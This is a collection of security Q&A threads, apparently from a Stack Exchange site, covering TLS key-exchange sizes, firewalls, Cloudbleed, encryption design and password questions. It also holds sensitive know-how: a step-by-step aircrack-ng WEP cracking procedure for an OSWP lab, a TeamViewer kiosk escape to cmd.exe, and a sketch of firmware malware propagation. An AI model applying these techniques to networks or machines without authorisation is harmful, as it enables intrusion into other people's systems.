ECDHE_RSA_WITH_AES_128_GCM_SHA256 - How to determine ECDHE Key Length? Server: SSL Certificate, 2048-bit RSA Public Key, Signature Algorithm is sha256RSA

What am I missing here? !

I've scoured the RFC's, and I have yet to find anything on how to determine the ECDHE key size (or any key exchange algorithm key size) in a TLS cipher suite. I need to confirm that ECDHE is at least 256 bits for compliance reasons.
In both RFC8422 and RFC4492 it's emphasized that for ECDHE_RSA, the Certificate MUST contain an RSA public key... boom got it, now how do I determine the curve's key length?

I don't understand why in SSH, a key exchange algorithm like "ecdh-sha2-nistp384" has the curve size in it (which also determines the hash size), bit in a TLS cipher suite this is not the case.

The same thing goes for DHE_RSA_WITH_AES_128_GCM_SHA256 - How can I confirm that Diffie Hellman Ephermal is 2048 bits?

Is there other information I need to be looking at besides the Cert and the Cipher Suite? Do I need to dig into the code? Thanks in advance for any assistance with this!

(CW for anyone who wants to add additional cases)

The size/strength of ephemeral keys for DHE and ECDHE key exchanges in TLS can depend on

the protocol (version)
the server-side implementation code (usually a library), and sometimes configuration
the client-side implementation (ditto)

First, there is a significant difference between TLS 1.0 through 1.2 (plus SSL 3 for DHE, but no one should be using SSL 3 after 2015), versus TLS 1.3. In TLS through 1.2, where ciphersuites of the form you named in your title are used:

DHE parameters are chosen by the server, usually with no input from the client other than offering ciphersuites that allow DHE at all; some server implementations allow configuring the parameters. RFC 7919 in 2016 allows the client, using extension 10 (see below), to specify a small set of standardized groups, all of which are at least 2048 bits, but I don't know any implementation that uses 7919 for <=1.2; see below about 1.3.

(Oracle/Open) Java JSSE server through 7 hardcoded DHE at 768 bits (except 512 bits for export suites, then still supported) and there are quite a few Qs on several Stacks about the problems this caused after Logjam, along with a client maximum of 1024. Java 8 changed default to 1024 bits with an option (system property) for up to 2048 (and also client max 2048). Java providers other than Oracle (like IBM, Android, and for a time Apple MacOSX) may have been or be different.

OpenSSL library requires server application either set parameters with SSL_[CTX_]set_tmp_dh before seeing the ClientHello (although knowing the auth key-and-cert(s) configured) or use SSL_[CTX_]set_tmp_dh_callback to provide a callback that will be called to set parameters for each handshake needing them. Some server programs that use OpenSSL pass this choice on to the user: Apache mod_ssl used to have a hardcoded default and now defaults to RFC 3526 "more IKE" groups of at least 2048 bits, but accepts 'custom' DHE params (in the PEM format OpenSSL commandline generates) along with a server cert in SSLCertificateFile; nginx requires a separate ssl_dhparam directive.

(Anyone want to add others?)
ECDHE is generally limited to the 'named' (standardized) curves specified in RFC 4492 5.1.1 optionally modified by RFC 7027 and more recently (and thus not yet widely implemented) by RFC 8422. 4492 did define options for arbitrary_explicit curves, but in practice no one used them, and 8422 deprecates them. If the client specifies extension 10, which was originally supported-curves and has now been repurposed as supported_groups, that limits the server choice and states a preference the server may follow; although extension 10 was technically optional in 4492, IME clients that implement ECDHE (and other ECC like ECDSA auth) at all do send it unless using the old SSL2-format 'compatibility' hello (as Java 6 and OpenSSL 0.9.8 did by default). But not many allow the content of extension 10 to be configured, and often it doesn't actually constrain the server.

(Oracle/Open) Java 7 server honors client preference, and if no extension uses P-256. I don't have source for 6 but it appears to do the same IF ECDHE is enabled at all -- which it isn't out of the box; JSSE protocol support is present but is only enabled if there is an underlying ECC provider which by default there is not and you have to add. To check: Java 8 up.

OpenSSL library originally required application to call _set_tmp_ecdh[_callback] similar to DHE, but in 1.0.2 allows the application to call _set_ecdh_auto which follows client preference (unless 'Suite B' is configured, which forces P-256 or P-384), and 1.1.0 up does 'auto' by default.

TLS 1.3 changes this substantially. The key exchange is not selected by the ciphersuite but instead controlled only by Hello extensions, and is completed entirely during the Hello exchange using those extensions, not separate ServerKeyExchange and ClientKeyExchange messages that extend into second flight as before. And it limits both DHE and ECDHE to a small set of standardized parameters: for DHE the 7919 groups which are all 2048 bit or more, and for ECDHE only the curves retained by 8422, which are (X9/SECG/NIST) P-256 P-384 P-521 and (Bernstein et al) X25519 X448.


Why do ALGs restrict traffic on a given TCP port based on the protocol? My understanding is that application level gateways restrict the traffic they proxy based on port and protocol - say HTTP over port 80 or MQTT over port 1883. Both types of traffic are using TCP as the transport but a different protocol. Is there any security benefit to this? I can't think of any way that restricting the protocol on a port makes it more secure.

This is a follow up question to this one which I understand to say that there's no benefit.

Traffic inspection (particularly for Application Filtering).

If I am an employer and I keep HTTP proxy logs of the websites you visit (and block some of the undesirables on work-time such as Facebook), I don't want you connecting to a VPN or other SOCKS proxy and bypassing my restrictions or uploading my confidential business information which is why I've bothered to lock down which TCP/UDP ports can be used in the first place because you happen to know that TCP port 80 is a free-for-all on our firewall.

So while on a firewall I may typically block everything from the workstations to the Internet apart from port 80.. but then you go and find a proxy that is running on port 80 to connect to.. ensuring that the only traffic going through is valid HTTP traffic ensures I can inspect and malware scan it.

Additionally I don't want you connecting to BitTorrent clients on TCP Port 80 and using my network connection for BitTorrent.

I agree with the commenter that Application Layer Inspection is not terribly common. There are too many ports for various applications in use now (particularly on mobile devices) and too many proprietary protocols floating around (which I speculate is perhaps one of the reasons Microsoft decided to bin Forefront TMG, they probably got bored of writing the application filters) that Application Layer Inspection is often too restrictive for most environments and causes more support issues than it's worth (verses the small number of people that would try and have the technical knowledge to exploit my firewall rules).

What'sApp will try to connect on TCP port 443 (typically used by TLS) over its own weird protocol (i.e. NOT TLS) to specifically bypass any firewalls that don't allow its usual port of TCP port 5222.

Finally, encrypted connections won't typically reveal what the application is anyway (Is my TLS connection one to a web-server or to my mail-server or to a TLS VPN?) and a blind "Allow all TLS traffic on TCP port 443" rule still leads you open to some abuse unless you have some TLS Visibility appliance.

You may also want to look at Application Level Filters section of the Stateful Firewall article and its associated Application Firewall article on Wikipedia.


What kinds of web applications need dynamic packet filtering or deep packet inspection I have some customers requesting that we put apply DPI or dynamic packet filtering in front of our web server.  For the simplicity of my service, I'm feeling like this is over kill.  What kinds of web apps really benefit from DPI / DPF as opposed to just building in adequate protections at the web app level ie SQL injection prevention, etc?

I'd ask your customers about what are they looking for in network packets and how deep they want to inspect them.

If they want inspection at 4-th level - you can setup free snort/suricata.
If they want it at level 7 - there are plenty of choices from free mod_security to cloud-based WAFs.

DPI as it meant to be is very resource-intencive, and mostly used by ISPs or large enterprises.


Teamviewer Security Question Currently we are using Teamviewer 9.  We have a couple of desktop machines that are locked down in the following manner:

1). The shell is no longer explorer.exe, it is a custom program we have created.

2). The OS is Windows 7 embedded, latest version, latest security patches.

3). The user logs on one of two ways: Admin mode which allows the windows shell and full computer access for troubleshooting, the other way is via the user logon which runs our custom run software and prevents the user from running the windows shell.

We found some holes though. At various mostly predictable times (when the support person exits a Teamviewer session on a locked down computer with the locked down user logged on) the Teamviewer dialog pops up on the client computer.  In this Teamviewer dialog there is an options button that looks like a little gear icon.  This icon would be the same as the options under the Extras menu on a regular Teamviewer panel (ours are customized and hence only shows a gear icon).  When the user enters this settings dialog and chooses the video option on the left and then presses the select image button, the user can then enter cmd.exe (which will run a command shell), enter explorer.exe to run the shell.  If they run the cmd.exe or explorer this will allow them to run IE, or ftp.exe.

Since these machines are internet connected via cellular modems we would rather that the user not be able to run these programs. Previous experience has taught us that these users log into their own Netflix accounts and watch movies and various things like that, which when run via cellular data connections could be very expensive in a very short period of time.

We investigated the possibility of using the group policy but from what our research has shown us the group policy only works if the shell is running.  We could be wrong of course, but that is the information I have been given while making this post.  Now if we could lock the shell down to the point where it could do NOTHING but run the program we want it to run including anything from USB while the locked down user is logged in, we would consider that, but that level of lockdown did not seem possible from our research.

If anyone knows of some good documentation on achieving this level of lockdown on a computer (similar in most respects to the level of lockdown you would want to see on a bank teller machine) we would be most interested in this information.

(Of course this must be done on some sort of admin/power user account)

You could probably use the regular NT permissions, and deny access to cmd.exe and explorer.exe. In regular properties>permissions (you may have to enable NT permissions, also in properties).

You wouldn't need to have Group Policy necessarily. Or from command line you could use icacls "cmd.exe" /deny Users:F (Someone error check me?) and same command with where explorer.exe replaces cmd.exe.

Excuse me if I get some things wrong I am on a Linux box right now, doing this from memory.


What are the dangers of a firmware malware in 2021 and is it possible? I was reading a few articles online about how some firmware can be altered into malware and essentially infect a hardware equipment for its entire life time.
Like almost all SSDs in the industry specially the ones intended for desktop use mostly just update their firmware while the OS is running.
Now, I am wondering, the job of a firmware, very broadly speaking, is that it gets requests from the OS and according to how it introduces itself to the kernel, like as a DVD drive, gets some commands from the OS and executes them, and probably returns some data back to the OS, or performs an operation like ejecting the DVD tray.
Now if this firmware is somehow hacked or infected and if you take it to another PC, is it possible for this firmware to infect other hardware on this new PC? What if this new PC has UEFI+TPM?
Can TPM+UEFI combination at all prevent firmware alteration?
Also regarding 2021 standards how much is such an attack scenario possible?
I don't know something inside me tells me this is perhaps the most stupid question and simplistic view on how kernel interacts with firmware, but I didn't know where else to ask this question. I would be thankful if you could at least give me a few links so that I can understand this form of hardware/kernel security.

Now if this firmware is somehow hacked or infected and if you take it to another PC, is it possible for this firmware to infect other hardware on this new PC?

Yes, certainly. This could be done by supplying a custom boot sequence, or supplying altered information to the boot process (the malware does not need to integrate in the boot process: it can boot itself, do its thing, then reboot and allow the process to repeat, this time undisturbed.
The greatest hurdle in this would be the great variety of available hardware and firmware programming interfaces. The malware would need to run a very detailed diagnostic, and chances are that it couldn't, or it would be detected - come on, a system cold boot taking five full minutes?!?
The malware might, however, be able to detect special circumstances (i.e. a true firmware or software update), and hijack those. I.e., nothing happens normally; then you receive an authentic firmware or BIOS or OS update; you are used to those taking time and rebooting multiple times and so on. So you start the update, see the real message "OS update may take some time", then the PC remains blank and whirring for five minutes, then the BIOS update starts and finishes successfully. In those circumstances you might maybe worry that the BIOS update isn't working, but you would probably try and wait and see, as I myself did any number of times.
Then, the disk malware would need to detect when the system requires loading a specific executable, one that perhaps is executed every so often (it can do so by recognizing it is an executable from its header, and timing its activation). When it happens, it will reply with a different binary, executable on the appropriate platform. To the user, the binary (e.g. a cron job or scheduled task) will appear to have not been executed that one time. That binary would be the second stage, designed to propagate some other way (infecting USB or through the network).


What's the Impact of the CloudFlare Reverse Proxy Bug? ("#CloudBleed") In Project Zero #1139, it was disclosed that CloudFlare had a bug which disclosed uninitialized memory, leaking private data sent through them via SSL. What's the real impact?

Compared to the famous HeartBleed bug leak, this is similar in some ways: the uninitialized memory exposure means unrelated private data is disclosed.

The things that are better

This only affected code running on CloudFlare, and the bug ceased to function an hour after notification. No new data can be leaked via this bug.
If somebody had awareness of this bug, they couldn't target an individual with it. The dumped sessions appear to be random.
CloudFlare has logs, and they have disclosed no indication that anybody knew of and exploited this bug.

The things that are worse

The size of the uninitialized memory dumps is huge. They regularly capture full HTTP headers and substantial sections of the request body. This pretty much gives away all the data required to hijack a session, and if a login session was captured, it would of course include the password.
It was free-session-roulette. Repeated requests to invalid URLs would just dump more and more random data.
If somebody were aware of this, they could have crafted a page that caused it to create nearly arbitrary size data dumps, or even just repeatedly hit an already existing invalid URL.
An end user could be compromised without any weakness in the part of the website or the user.
A few unlucky users will still have that leaked data existing in caches after this disclosure, and they're going to be very widely disclosed. If those session cookies aren't invalidated, it's practically guaranteed somebody will log into their accounts.

How can somebody address an incident like this?

Limiting session token lifetimes and making use of proper two-factor authentication would address the long-term leaking of data, preventing somebody from acquiring a long-lived session. Customers of CloudFlare could invalidate all session cookies and force rotation of all passwords, though that's unlikely to happen.

What does this mean to me?

CloudFlare claims that no private SSL keys were leaked as they did termination within separate processes, so while the class of bug would normally raise concern there, it doesn't in this particular case.

It's a great lesson in the security community of thinking about possible long-term bugs that have a massive blast radius. Most people are likely completely unaffected, though as noted above a few people will have lost the Bad Luck Lottery.


2 factor authentication - cost effective solution for a web startup My local bank uses a 2 factor authentication where customers key in password AND a One Time PIN delivered via SMS to mobile phone OR from a security token device.

I am doing a web startup in the ecommerce space.

I already have implemented https for important pages like login. I have chosen a, shall we say, cost effective SSL CA that has the initials GD.

This may be in the future, but what is a cost effective solution for me to implement a 2 factor authentication like my local bank for my users?

Which vendor would provide a cost effective solution just like I approached GD for my SSL certs?

If you're willing to delegate your user authentication function to someone else, then Google's two factor authentication is a good option.


Should Lockout Terminate The Session? I think it is OK not to terminate existing sessions if user is locked out due to a number of login attempts with the wrong password. Because it might be an attack and it would be inconvenient to terminate the existing session each time this happens.

But what about the password change process? Entering the old password wrong will increment the lockout counter but should I terminate the session when the treshold is exceeded? (Or if it is exceeded already?)

And I am not returning the locked out status in case of failed login attempts due to security concerns. Should I return this status to the user in case of password changing attempt?

Usually account lockouts doesn't terminate a session, otherwise that could be a potential DOS scenario. For changing passwords, most of the companies that I've worked with, we also didn't terminate the session, but we had a SIEM and SOC in place that would contact the user via phone when that happens.
If you have mitigations in place (such as a SIEM/SOC monitoring login attempts, or any kind of user behaviour analysis), I would say that the risk of not implementing session termination on account lockout would be low.


Forensics, evidence collection vs data acquisition I'm new in forensics. I would like to understand the difference between evidence collection and data acquisition? How would you call the following events:

 Imaging the RAM on a live system;
 Retrieving logs from a running a web server;

As far as I know evidence is generally defined as

Any information of probative value that is either stored or
transmitted in a digital form

Hence evidence is the information that can be used in the court of law to support your case.
When you acquire data from a source like logs or data files or images, you analyze it and find the if there is anything suspicious in there that will help your case in court. So when you ask

Imaging the RAM on a live system;
Retrieving logs from a running a webserver;

These are sources from where you acquire data to perform investigations. You look inside them and find something of credible value to help your case in court. If you find something that a malicious process was using the RAM then it becomes evidence. If you don't find anything in the log files you keep them in the case file regardless if it is of value or not. It's like real physical evidence. If blood stained bat with fingerprints is enough to prove the crime then there is no point presenting the footprint of a dog that you photographed during your visit to the crime scene just in case. These are technically the investigation team's property and is kept as evidence in their case file.
I hope you get the idea. :)


Decrypt SSH traffic in pcap file given private key I have a Pcap file that contains some SSH encrypted packets. I have the server public and private key. How do I decrypt these private keys? Is it possible to get the session key using Wireshark or some other software?

I'm not sure what you mean by: "How do I decrypt these private keys?". Well, they are not encrypted. Maybe (and I'm not sure if it is even possible), they could be somehow encrypted by a password, but AFAIK they are not. Admin would have to enter the password on every sshd startup which would be annoying.

SSH protocol uses Diffie-Hellman algorithm to exchange an encryption key. The server private key is used just to sign (not encrypt!) the handshake to prove the server authenticity.

So, even if you manage to obtain the server keys, you won't be able to decrypt a recorded session. You would be just able to fake the server identity.


PHP and Amazon KMS for encryption I have a self access medical portal project for patients to view their visit history and consultation info.

Some fields in the database needs to be encrypted. The reason is in case the DB gets unauthorised access, they should not see the plaintext data.

We will be using PHP 7 for the project. I've read that it's recommended to use in built openssl encrypt and decrypt functions.

For encryption key I was thinking to use Amazon KMS to manage the keys.

For servers we are intending to have it all setup on Amazon. I believe we can setup the IAM roles to have EC2 access KMS service securely.

Users will access site using https. Each time there is sensitive data being queried or before it gets saved into the database, the php script will encrypt and decrypt it using kms and openssl functions.

I'm wondering if this setup is secure enough to encrypt the data? Other concerns would be doing a sql query to search data. With the data encrypted, searches with LIKE %foo% doesn't look possible.

Is there a better way to do it?

The setup can be considered secure. You do hold the decrypted data only in memory. Typically you will use a key per row to encrypt the sensitive data. However you cannot search for the data in the database (as you mentioned). It depends on the use case you may be able to solve the issue by hashing the sensitive data. When you want to search for a particular value you can hash the value before you search for it. However you can realize only a search for exact matches and not one with wild cards (the 'like' operator will not work!).

An entire different approach would be to encrypt the whole database. The data is stored encrypted on the hard drive. When you use AWS with RDS you can implement this strategy easily:
http://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/Overview.Encryption.html

All backups are encrypted and the data itself is also stored encrypted. However if someone access the database when it is running the data is not encrypted for this particular user. Means when you grant someone the permission to access the data it will be decrypted. However at the end it comes down anyway how you setup your IAM roles. Either you rely on the IAM roles for the KMS or for the RDS. So if setup the IAM roles properly you will be fine.
AWS supports since some weeks also the cross region replication of such encrypted database instances.

Normally for PCI DSS and for HIPAA compliance both approaches are accepted. As you looking for a way to search the data as well I would recommend the second approach.

Disk Encryption with RDS

RDS uses an EBS volume to store the data. The data on the EBS volume can be encrypted (see http://docs.aws.amazon.com/kms/latest/developerguide/services-ebs.html). Means when the RDS instance is accessing the EBS volume the data is encrypted resp. decrypted transparently. Means the read resp. write operation triggers a decryption resp. an encryption of the data.
You find here the details about how to setup RDS with encrypted EBS volumes:
http://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/Overview.Encryption.html
Essentially you have to specify during the creation of the instance whether it should be encrypted or not.

After you have setup this you need to setup a user with in the database which allows to access the database. Eventually you need also a IAM role which allows you to modify the database instance through your application. I don't know if you need the later. It really depends on your use case.

The last thing which I recommend is to encrypt the communication between your application and the RDS instance.

Summarized the data is never stored unencrypted. The data is always decrypted when it is used and the unencrypted data is only kept in the memory (RAM).


Securing authenticity of mifare cards, protection against cloning I am designing a workflow for issuing and acquiring of voucher cards for a client and the chosen technology for the cards has been mifare desfire.

I have a lot of experience with credit cards and we want to make the technology as POS friendly as possible, so the acquiring process could be made as simple as possible to plug into existing POS application workflows.

Also, the HSM is one of those really credit-card centric ones, so if I want to keep the security benefits of having a super-secured locked down HSM, I need to use "industry standards" cryptography.

The card being closed-loop I have total control over all of the components of the issuing and acquiring process. My naive first idea was to have the card generate a signature for the transaction, but looking at the card commands specification, nothing really corresponds to this, it's hardly more than a data store with encrypted communication.

So the answer could be "use the channel encryption Luke", but this encryption then needs to happen between the POS and the device meaning that either the POS needs to do an online call during the duration of the contactless swipe (bad mobile internets etc) or the POS needs to know the card keys, which isn't nice.

So my question is, did I really understand it right and the only way to secure this thing in acquiring is to:

share the secret with the POS network
have the POS behave like a channel to the host exchanging the secure messages, but I'm not sure if this is even an option

Am I missing something?

Indeed, I was not missing anything, the only options really are:

share the master secret key of the issuing scheme to the entire POS network (a ba-ad idea)
use a server-side HSM to create session keys for the NFC communication meaning that the POS and the server need to exchange an API request/response cycle in mid-swipe for the POS to be able to authenticate with the card

Apparently, Mifare was designed as a low-cost, low-risk solution - something that if broken would enable the attacker to get less value out of it than the effort of breaking it, and it's remarkably secure in this role.

There are other technologies (e.g. https://en.wikipedia.org/wiki/Java_Card) which allow you to do more secure & more robust workflows, and they come with a price tag to match it.

EDIT in the end I opted for a server-side API where

the server component has access to the card keys via the HSM and
can answer to the card-challenge string with the challenge-response string
and in the same API response sends the session key to the appliance
the session key is in turn protected using same kind of technologies a PIN block would be secured (session keys, DUKPT, secure key storage on the appliance).

Where "appliance" is the "appliance which speaks to the Mifare card". The end result seems "good enough" because:

the individual card master keys are not shared to the appliances - most implementations depend on the card master key to somehow be shared and this is a no-go for my use case
only one API call is needed to the HSM in the cloud to make the communication happen - most of the other implementations I have seen do full pass-through card <-> HSM meaning 2-4 calls at minimum during the card swipe movement - which is a no-go for my use case
at worst case the attacker can figure out the session key of the individual exchange - and this if and only if he managed to break through the same kind of cryptography protecting PIN blocks in the PCI industry

So I'm guessing this is the sweet spot for what I need.


Can I use CloudFlare if I want to avoid NSA and FISA secret orders? We're running a web service in Europe, secured with TLS and we're using private keys generated on our private hardware.
We would like to use CloudFlare for DDoS protection and caching reverse proxy.
However, putting my tinfoil hat on, I'm wondering is there any technical way to avoid being potentially MitM'd by NSA or any other entity that FISA likes to support? Let's assume that I can trust CloudFlare to not leak any secrets for extra money only. If I have understood correctly, CloudFlare is able to generate certificates for any domain they want (they are a CA) and NSA or FISA should be able to get backdoor to reverse proxies run by CloudFlare because CloudFlare headquarters are in the USA. If I point our DNS entries to CloudFlare, that is a free pass to read and modify any traffic on our site.
The problem with FISA is that its decisions are not public. If CloudFlare was forced to work against my will by any public court orders, I could just switch to another CDN. However, when CloudFlare is forced to do something by secret FISA court order, nobody is any wiser and I cannot switch.
(I guess the same applies to Akamai and any other reverse proxy CDN administered by any company with headquarters located in the USA.)

First of all, just because you use CloudFlare does not mean that the traffic will pass through the US. CloudFlare currently has 102 edges, and requests will be sent to the nearest one. This is what is called "anycast". So if someone in Europe requests your page the request will go from them to an edge somewhere in Europe, and from there to your origin. In other words, using CloudFlare will not force the majority of your traffic through the US.

Concerning the use of TLS, CloudFlare offers three different models:

Flexible SSL: Traffic is only encrypted between the end user and CloudFlare, and not between CloudFlare and your origin. Obviously, this is not safe against government actors...
Full SSL: Traffic is encrypted all the way, but you have to give CloudFlare your private key so they can decrypt traffic. So your private key is only a court order away from the NSA.
Keyless SSL: You do not how to give them your private key, but they still "decrypt, inspect and re-encrypt traffic". Read about how it works here. You don't need to have your tin foil hat on to suspect that the US government could preassure a US company into providing data from servers located outside the US.

So, in conclusion, what you need to worry about is not the traffic passing through the US, but that CloudFlare will share your decrypted traffic with the US government. There is no way for a CDN to get around this - to do their job as a reverse caching proxy, they need to decrypt the traffic. Either you trust your CDN, or you don't use one.


Type of SSL connection used when visiting google services I have 2 computers running chrome:
a) Win 8 , latest chrome
b) Win 7 , latest chrome ~ 1.5 yr old high spec laptop

Both display the Certificate Authority as: Google Internet Authority G2

computer a) uses 256-bit, CHACHA20_POLY1305 with ECDHE_ECDSA for key exchange

computer b) uses 128-bit, AES_128_GCM with ECDHE_ECDSA for key exchange

This applies when I visit youtube, and google.

I am wondering why might computer b) be using a lesser type of encryption for googles services?

Thanks for any insight

It might a because of different processors in your computers, i.e. one supporting AES-NI and the other not. From https://codereview.chromium.org/75663004/:

net: boost AES-GCM ciphers if the machine has AES-NI.
We want to use ChaCha20 based cipher suites on machines that don't have AES-NI
and AES-GCM on those that do.


How to devise cryptographic system with sharing ability I am writing a C# .NET application. For my application the data of the users should be encrypted in the database. The users should also be able to share data with other users. To that end I want to use RSA encryption.
My intended implementation is as follows: The public key of the user is stored in the database. Data that is to be shared with another user is encrypted with that users public key and stored in the database. Now, here are two problems I am facing with this approach:
1.) I want the public/private key pair to be derived from the user password so as to not have it stored anywhere unsafely on disk. Whenever the user logs into the application, the private key is derived and user data can be de-/encrypted. My question is, how can I derive an RSA key pair from the password?
2.) If the user resets their password, no previously encrypted data can be decrypted anymore, as that would require the user's old password in order to derive the private key. As far as I know, one solution to this problem is to encrypt/decrypt using a randomly generated data encryption key that doesn't ever change, and to then encrypt that key using a password based key. But then how can a user share encrypted data with other users? For that the user would have to also share their password based key in order to grant access to the public data encryption key, which obviously is against the whole point of encryption.
So, how do I go about reconciling and solving both of these issues?

You are raising a few questions here actually, so the answer won't be simple, and for sure won't be complete. First thing first, this question might be better suited for crypto.stackexchange.com.
A few basic things I'd like to point out:

Depending on the data size, you most likely don't want to use RSA keys for encrypting that. RSA keys can encrypt only data of up to certain size, which is just under the key length. It's not particularly efficient either.
I don't think you want to derive RSA keys from user password. This is not what RSA was created for and there is no standard solution to do that. RSA key is just a bunch of large integers, but of certain important characteristics. What I'd suggest to do instead is to encrypt data using a symmetric key derived from user password using one of the *KDF* functions. You can then use static, long-term RSA keys to encrypt the symmetric keys - both master and derived ones.
As for the password-based key derivation, I believe this is more about key lifecycle management than anything else. One solution would be to store key id for the current and previously derived keys in the metadata of the data it was encrypted with. Assuming the password changes, this will change the current symmetric key id (as well as the key itsefl), but previously derived symmetric keys could be used to decrypt data encrypted in the past. This all assumes keys are effectively rotated on password change, but never expired.

Apologies for my answer not being as complete as I'd like. However, I think it would be good to take a step back and rethink the original requirements, as what you have described in your question is more like a partial solution. If the community gets to know the original problem, they may be better equipped to provide the best answer possible.


Various questions about cracking WEP with aircrack-ng I'm preparing for Offensive Security's OSWP course. I came across several topics I need clarification on, some of them might be related to my lab that probably works in a slightly different way compared to OffSec's lab.

Purpose of fake authentication
The course tells us the steps needed to crack a WEP are this (I know there are many different methods but let's focus on this one for the moment):
a. I start airodump-ng and filter on my target AP and channel
b. I run a fake authentication (with or without psk doesn't matter much to the point of my question)
c. I listen for ARP packet.
d. Once I receive a suitable ARP packet I replay it until aircrack-ng has enough IVs to crack the key
e. I can speed up the ARP packet creation through deauthenticating one of the clients. When it reconnects it will send an ARP packet
Here comes the question: In my lab, there is a test client connected to the network DOING NOTHING. In a real world scenario, wouldn't there be a lot of traffic because people are surfing, accessing file shares, whatever? Would I ever need to deauthenticate someone to receive an ARP packet? I'm asking because of the problems in question 2 and 3 (see below).
In my lab, deauthenticating my client doesn't work well. Or, more precisely, deauthenticating works great, only the client doesn't automatically send an ARP packat after that. I have seen several times where the PWR count in airodump-ng's output went to 0 for a very short moment, followed my a normal value (-27, -30, sth like that), so the client reconnected, but no ARP packet was picked up by aireplay-ng's ARP replay attack. The only thing that helped was to switch off/on the wifi adapter on the client. Then, an ARP packet was sent immediately and the key was cracked within seconds. As the course material suggests, I could also force the ARP packet creation by doing a ping from the client. Am I doing sth wrong or is the problem that my lab devices are just working differently than other devices?
This is kind of a similar question to #2. When attacking WEP with PSK, I capture the XOR keystream file I need for fake authentication. My problem is that this works only ONCE. After that, the authentication doesn't go beyond step 1. I have captured the traffic with wireshark and see below the error message. I found out I can fix this by: a) switching off/on the wifi adapter on the client, and starting a new capture with airodump-ng (and then, having a new XOR keystream file) or b) restarting the wifi router. Just to be clear, the second time also doesn't work if I deauthenticate the client and run a new airodump-ng capture in order to create a new XOR keystream file, after restarting the client wifi device it only works one single time no matter what I do. I am pretty confused.

So maybe you see now why I'm asking question 1. The fake authentication makes a lot of problems but most of the attacks would work if I could just replay an ARP packet. I was thinking that the fact I don't get any is due to the lab setup (only one client connected, noone really using that network) and if that wasn't a problem I wouldn't need any fake authentication...

Discaimer: I have checked my card can do packet injection, all devices are running 802.11bgn, etc. etc.

First of all, I strongly suggest you narrow down your questions, I'm prety sure people haven't answered because it's really hard to read and there are many questions. Try making a conclusion question o highlight the details, this stack exchange has rich text editors. Try reading this.

Still, I'll try my best to answer everything.

You should start by reading the manual

  It should be noted that the fake authentication attack does NOT generate any ARP packets

The purpose of fake auth is to add (associate) your mac to the AP, so he thinks you are OK (When you do a ARP replay attack you can spoof the MAC from an already auth client, but let's follow your case)

a) I start airodump-ng and filter on my target AP and channel: This is done to create a capture file, a dump of the captured packets, the filters are made to drop any noise or broadcasts not needed in the process to crack WEP (quick tip, you can add --ivs to filter ONLY the ivs which is the only thing you need to crack the WEP key)

b) I run a fake authentication (with or without psk doesn't matter much to the point of my question): Ok, I already answered the purposed of this

c) I listen for ARP packet.: This is needed to replay it to the AP so it generates more IVs, it's called ARP request replay attack

d) Once I receive a suitable ARP packet I replay it until aircrack-ng has enough IVs to crack the key: Ok, we are doing just fine.

e) e. I can speed up the ARP packet creation through deauthenticating one of the clients. When it reconnects it will send an ARP packet: No, there's no need to de-authenticate, you already said you got a suitable ARP which you will replay, why do you want to disconnect the client? This would be only in the case you still DO NOT HAVE A SINGLE ARP request.

And now to the question of subsection 1) You are right, generaly right after the initial conversation (probe request/response, auth reqest/response asociation request/response) there will be some ARP.

No idea why is this happening, but PWR has nothing to do with the attack, the control frame used in deauth-attack is only to disassociate the station with the AP, it's not meant to hinder the signal of the antenna.
I'm not sure why do you want to catch the keystream, or how you intend to do it, but the weakness of WEP lies in the IVs, there are some weak IVs that can be used to crack the key. They keystream is generated by the RC4 with PRNG, and to seed the RC4 you need the IV + the WEP key, so if you are actually sniffing, you can only get the Ciphertext which has already been xored by the IV + keystream and the data + checksum.


How to implement a "Remember me" on a mobile app? I would like to implement a "Remember Me" time-limited auto-login type feature on a mobile application (on Android). To start the app, the user must type in a username and password. For convenience,

EDIT

I would like to save the last inputted username and/or password into a file on the phone to avoid having the user re-type it each time.

I looked at this, but it seems to be more browser-oriented..

Questions:

How would I go about encrypting the file or password? I can't just use a hard-coded key to encrypt it, can I? I'd have to generate the key somehow. However, if the user exits and restarts - I'm assuming a separate key would be generated - so I have to save the key somehow?
Should I bother encrypting? (I think I should, however only the user would have access to this file anyway...)

EDIT 2

Am I over-complicating these things with surrogate keys and/or public key authentication with ssl/tsl? I mean, Firefox saves my passwords, and surely they are encrypted in some way? I was thinking to encrypt the user/pass in a similar fashion? Is that a bad idea?

I like symcbean's suggestion of creating a random mapped value on login that is related to the account separately from the username and password. To answer your question specifically, though, there are also ways of encrypting the data without a static mapped key. I'd look at generating a key using bits of information unique to the phone and retrievable via OS API calls.

Edit: At the behest of @D.W., I'll elaborate: The UDID, serial number, and other identifying information may be of sufficient cryptographic quality and secrecy without access to the phone to prevent decryption of the stored data. However, access to the stored data implies likely access to the phone as well. Thus, any level of security through device-local encryption is simple obscurity.

Other respondents have suggested storing a random value as is done in HTTP sessions. It seems the original asker isn't using HTTP and doesn't believe that this method applies to his software. However, the logical implementation of storing and transmitting a random value is applicable to any transport protocol. I strongly suggest it.

Alternately, credentials can be stored on the phone using public key encryption. The application can encrypt the username and password upon entry with the server's public key. The login data would thus be unreadable even if the device were compromised.

Where the goal is to prevent retrieval of login credentials, I feel the use of a random temporal identifier is best. This precludes any issues of keeping server data (a private key) secret and available. If that key were disclosed, the protection is marginal to useless. If it is lost, the app must be redeployed with new keying. If the temporal login data were lost, everybody would be forced to login, but it would not result in any appreciable interruption to service.

Also, do use public key encryption of the transport (SSL or simple PGP key embedded into the app) for both the initial login and any other possible authentication data whether it is the username and password or a random value.


Antivirus detection of where exe is compiled I've been experimenting with how antivirus detect trojan signatures to get my head around a couple things for CEH certification. This has mostly involved playing with variations of windows EXEs.

I'm compiling on a Kali VM using 'i686-w64-minw32-gcc' and submitting the results to Virus Total. A few of the antivirus services will detect my EXEs as malicious regardless of the contents. Even a main(){ return 0}.

I'm thinking that there is something detecting the simple fact that I'm compiling on Kali. I tried a couple basic things - most notably going through strings my.exe - and nothing really came up.

How can I look deeper into this?

Try PEStudio. It will cut and gut your individual EXE and then rank the individual parts on VirusTotal. Very interesting.

We'd need a sample EXE to tell you more.

https://blog.malwarebytes.com/threat-analysis/2014/05/five-pe-analysis-tools-worth-looking-at/


Does the order of characters in a password matter to its security? We all know a password should contain a healthy mixture of letters (upper and lower), numbers, and special characters.

But does the randomness of their placement matter. Of course for letters it matters whether or not it spells a dictionary word, but lets say you have random letters, numbers, and characters.

So a simple concrete example:

Is klens4275 more or less secure kl7e25ns4?

Notice they have all the same characters but the order appears more random in the second.

